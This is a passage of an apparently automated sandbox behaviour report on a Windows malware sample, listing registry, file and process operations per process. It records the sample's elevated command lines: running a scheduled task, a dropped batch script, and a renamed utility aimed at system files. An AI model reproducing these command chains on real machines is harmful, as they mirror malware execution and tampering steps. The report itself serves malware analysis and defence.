Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 226	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = USERNAME, result_out = FD1HVy	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 5	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 106	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn

Process #187: schtasks.exe

243

0

»

Information	Value
ID	#187
File Name	c:\windows\syswow64\schtasks.exe
Command Line	schtasks /Run /I /tn DSHCA
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:04:07, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:18

OS Process Information

»

Information	Value
PID	0x1350
Parent PID	0x1100 (c:\windows\syswow64\cacls.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x FF8 0x 10EC

Threads

Thread 0xff8

243

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\schtasks.exe, base_address = 0x1300000	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\schtasks.exe, file_name_orig = C:\WINDOWS\SysWOW64\schtasks.exe, size = 260	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\schtasks.exe, file_name_orig = C:\WINDOWS\SysWOW64\schtasks.exe, size = 260	1	Fn
COM	Create	interface = 2FABA4C7-4DA9-4013-9697-20CC3FD40F85, cls_context = CLSCTX_INPROC_SERVER, CLSCTX_INPROC_HANDLER, CLSCTX_LOCAL_SERVER, CLSCTX_REMOTE_SERVER	1	Fn

Process #188: cmd.exe

49

0

»

Information	Value
ID	#188
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Security\BrowserCore\BrowserCore.exe""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:04:08, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:16

OS Process Information

»

Information	Value
PID	0xe10
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1340 0x 1330

Threads

Thread 0x1340

49

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 24, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn

Process #190: cmd.exe

51

0

»

Information	Value
ID	#190
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c mxkeFu6a.exe -accepteula "MsSense.exe.mui" -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:04:14, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:11

OS Process Information

»

Information	Value
PID	0x9c0
Parent PID	0xeb4 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x CC0 0x 11C0

Threads

Thread 0xcc0

51

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 197, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = mxkeFu6a.exe, type = file_attributes	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, os_pid = 0xaec, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data

Process #191: cmd.exe

51

0

»

Information	Value
ID	#191
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c mxkeFu6a.exe -accepteula "Workflow.Targets" -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:04:14, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:11

OS Process Information

»

Information	Value
PID	0xf8c
Parent PID	0x10cc (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 9B0 0x 121C

Threads

Thread 0x9b0

51

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 0, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = mxkeFu6a.exe, type = file_attributes	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, os_pid = 0x1278, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data

Process #192: cmd.exe

51

0

»

Information	Value
ID	#192
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c mxkeFu6a.exe -accepteula "PhotoAcq.dll.mui" -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:04:14, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:11

OS Process Information

»

Information	Value
PID	0xf58
Parent PID	0x1124 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1358 0x 10F8

Threads

Thread 0x1358

51

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 56, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
